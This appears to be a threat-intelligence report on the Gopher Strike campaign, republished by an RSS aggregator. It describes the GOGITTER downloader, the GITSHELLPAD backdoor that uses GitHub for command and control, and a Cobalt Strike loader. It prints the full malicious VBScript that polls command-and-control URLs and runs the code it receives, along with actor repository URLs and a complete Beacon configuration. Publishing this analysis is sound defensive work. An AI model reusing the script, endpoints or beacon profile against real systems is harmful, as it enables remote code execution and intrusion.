





















In the following sections, ThreatLabz discusses the technical details of the Gopher Strike campaign, including how the GOGITTER downloader functions, the role of the GITSHELLPAD backdoor for C2 communication, and the deployment of a Cobalt Strike Beacon using GOSHELL.
The figure below shows the attack flow that leads to the deployment of Cobalt Strike.

Figure 1: Shows how the Gopher Strike campaign leads to the deployment of Cobalt Strike.
ThreatLabz traced the origins of the Gopher Striker campaign to multiple PDFs presumably sent in spear phishing emails. These PDFs contain a malicious link and a blurred image of legitimate documents that would be of interest to the victim. The image is designed to trick victims into downloading a fake Adobe Acrobat update to access the document's contents. The dialog is presented as a button labeled Download and Install, as shown in the figure below.

Figure 2: Example of a PDF file used in the Gopher Strike campaign.
If the victim clicks the button, an ISO file containing the malicious payload is downloaded. During analysis, ThreatLabz observed that the servers hosting the payload only respond with the ISO file when accessed from IP addresses in India, with a User-Agent header representing a Windows platform. These server-side checks prevent automated URL analysis tools from fetching the ISO file, ensuring that the malicious file is only delivered to intended targets.
GOGITTER is a previously undocumented lightweight 64-bit Golang-based downloader. The following sections outline the key functionalities of the downloader.
GOGITTER sequentially checks for the existence of the VBScript file windows_api.vbs in the following locations:
C:\Users\Public\DownloadsC:\Users\Public\Pictures%APPDATA%If the VBScript is not found in any of the locations above, GOGITTER attempts to create a new file named windows_api.vbs in the first accessible location. The contents of this VBScript are stored in plaintext within the binary.
The contents of the VBScript file windows_api.vbs are included below.
Dim objHTTP, lastresponse, name, primaryURL, fallbackURL
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
name = CreateObject("WScript.Network").ComputerName
primaryURL = "hxxps[:]//govt-filesharing[.]site/hpc5985.php?key=xvnd54&info=Hello" & name
fallbackURL = "hxxp[:]//ingov.myartsonline[.]com/hpc5985.php?key=xvnd54&info=Hello" & name
lastresponse = ""
Function GetResponse(url)
On Error Resume Next
objHTTP.Open "GET", url, False
objHTTP.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
objHTTP.setRequestHeader "Accept-Charset", "UTF-8"
objHTTP.setRequestHeader "Accept-Language", "en-US,en;q=0.5"
objHTTP.Send
If objHTTP.Status = 200 Then
GetResponse = objHTTP.responseText
Else
GetResponse = ""
End If
On Error GoTo 0
End Function
Do
responsebody = GetResponse(primaryURL)
If responsebody = "" Then responsebody = GetResponse(fallbackURL)
If responsebody "" And responsebody lastresponse Then
If Left(responsebody, 3) = "hi " Then
Execute Mid(responsebody, 4)
lastresponse = responsebody
End If
End If
WScript.Sleep 30000
LoopThis newly-created VBScript contains two pre-configured C2 URLs that are used to fetch VBScript commands every 30 seconds. The VBScript connects to the primary URL with a hardcoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 and two more pre-configured HTTP headers.
hi, the remaining response strings are treated as VBScript commands and executed.To achieve persistence, a scheduled task is created with a dynamic name (MicrosoftEdge_ConfigurationUpdate_<__random__>) where a random four digit number is generated at runtime. This task is configured to execute the dropped windows_api.vbs script every 50 minutes.
GOGITTER checks for the presence of the ZIP archive adobe_update.zip in the aforementioned locations in the same manner. If the file is not present, GOGITTER downloads a file named adobe_update.zip from the private threat actor-controlled GitHub repository at hxxps[:]//raw.githubusercontent[.]com/jaishankai/sockv6/main/adobe_update.zip. A GitHub authentication token embedded in the binary is used to authenticate and download the archive from the private repository. The contents of adobe_update.zip are extracted to one of the three installation folder locations, dropping the executable edgehost.exe and a zero byte text document.
GOGITTER then sends an HTTP GET request to the URL adobe-acrobat[.]in/ninevmc987.php?file=bncoeeav34564cvv94adfavc3354334dfsf, most likely to signal that the endpoint has been successfully infected.
The edgehost.exe file is GITSHELLPAD, a 64-bit lightweight Golang-based backdoor that leverages threat actor-controlled private GitHub repositories for its C2 communication. The backdoor registers the victim with the C2 server, and polls the C2 for commands to execute. GITSHELLPAD uses GitHub’s REST API to create a new directory in the threat actor-controlled GitHub repository with the format: SYSTEM-. GITSHELLPAD then adds the file info.txt into this new directory and commits the changes to the main branch. The info.txt file contains the Base64-encoded string: PC Name: SYSTEM-.
GITSHELLPAD polls the threat actor-controlled GitHub account for new commands every 15 seconds by sending a GET request to the GitHub REST Contents API endpoint for the file command.txt. If GITSHELLPAD is unable to connect to GitHub to fetch command.txt, it retries every 8 seconds. If the contents of command.txt are empty, then GITSHELLPAD retries to fetch the content after 7 seconds.
Once the command.txt file is successfully fetched, its contents are Base64-decoded to retrieve the command string. The table below shows the commands supported by GITSHELLPAD.
Command | Description |
|---|---|
cd .. | Change working directory to parent directory. |
cd | Change directory to the specified path. |
run | Run command in the background but don't capture the output. |
upload | Upload the local file specified by the path to the GitHub repo. |
download | Download a file to the specified path. |
Default case | Execute the command using |
Table 1: Commands supported by GITSHELLPAD.
All the logging messages detailing the command status and output are captured in the result.txt file and uploaded to the threat actor's GitHub account via a PUT request. The command.txt file is deleted from the threat actor-controlled GitHub repository after successful command execution on the endpoint.
During the investigation, ThreatLabz discovered four threat actor-controlled private GitHub repositories and observed more than 200 post-compromise commands issued by the threat actor. The table below lists a subset of the post-compromise commands observed by ThreatLabz.
Category | Description | Sample Commands |
|---|---|---|
User reconnaissance | Collects information about the user. |
|
System and network reconnaissance | Collects information about the system and network configuration. |
|
Network connectivity check | Checks connectivity to the C2 server. |
|
Download post-compromise tools | Downloads an archive to the victim’s filesystem. |
|
Clear filesystem traces | Deletes filesystem artifacts. |
|
Clear running process traces | Kills GITSHELLPAD related processes. |
|
Archive extraction | Extracts the contents of a downloaded archive. |
|
Table 2: A list of commands issued by the threat actor during the attack campaign. These commands are executed using the GITSHELLPAD payload.
A complete list of post-compromise commands are available in the ThreatLabz GitHub repository.
After the threat actor gained access to the victim’s machine, ThreatLabz observed them downloading RAR archives containing post-compromise tools. The threat actors used the cURL commands shown in the table above to perform these downloads. The archives included tools that collect information from the compromised system. The threat actor also utilized GOSHELL, a custom-built Golang-based loader, to deploy a Cobalt Strike Beacon. Once the RAR archives were downloaded, they were extracted using the tar utility, and the tools were deleted after use. In this analysis, we focus only on the primary backdoor that was deployed.
GOSHELL’s size was artificially inflated to approximately 1 gigabyte by adding junk bytes to the Portable Executable (PE) overlay, likely to evade detection by antivirus software. These junk bytes were not entirely random but consisted of repeated byte sequences, such as:
SECURITY123456COMPRESSME!{AB CD EF 90 90 41 42 43 44 45 CC DE AD BE EF 00 FF 11 22 33}GOSHELL undergoes multiple decoding stages before eventually loading Cobalt Strike Beacon.
GOSHELL only executes on specific hostnames by comparing the victim's hostname against a hardcoded list.
0xAA.QueueUserAPC.This 32-bit second-stage shellcode is executed by the QueueUserAPC call. It performs another layer of decoding. The main purpose of the second-stage shellcode is to decrypt and load the next-stage Cobalt Strike payload. Below are its key functionalities.
0x51211104.Stage 3 is the final decoded payload, a stageless Cobalt Strike Beacon. ThreatLabz extracted the configuration, which appears to have been modified from a public profile.
The Cobalt Strike configuration is shown below.
BeaconType - HTTPS
Port - 443
SleepTime - 45000
MaxGetSize - 2801745
Jitter - 30
MaxDNS - Not Found
PublicKey_MD5 - 2e4e4ea817ad2286616f809ca84fc932
C2Server - d18c3nlvb0n2a6.cloudfront.net,/jquery-3.3.1.min.js
UserAgent - Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
HttpPostUri - /jquery-3.3.2.min.js
Malleable_C2_Instructions - Remove 1522 bytes from the end
Remove 84 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key
HttpGet_Metadata - ConstHeaders
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Metadata
base64url
prepend "__cfduid="
header "Cookie"
HttpPost_Metadata - ConstHeaders
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
SessionId
mask
base64url
parameter "__cfduid"
Output
mask
base64url
print
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner -
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\dllhost.exe
Spawnto_x64 - %windir%\sysnative\dllhost.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark_Hash - NtZOV6JzDr9QkEnX6bobPg==
Watermark - 987654321
bStageCleanup - True
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - False
bProcInject_UseRWX - False
bProcInject_MinAllocSize - 17500
ProcInject_PrependAppend_x86 - b'\x90\x90'
Empty
ProcInject_PrependAppend_x64 - b'\x90\x90'
Empty
ProcInject_Execute - ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - NtMapViewOfSection
bUsesCookies - True
HostHeader -
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - round-robin
DNS_strategy_rotate_seconds - -1
DNS_strategy_fail_x - -1
DNS_strategy_fail_seconds - -1
Retry_Max_Attempts - 0
Retry_Increase_Attempts - 0
Retry_Duration - 0
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。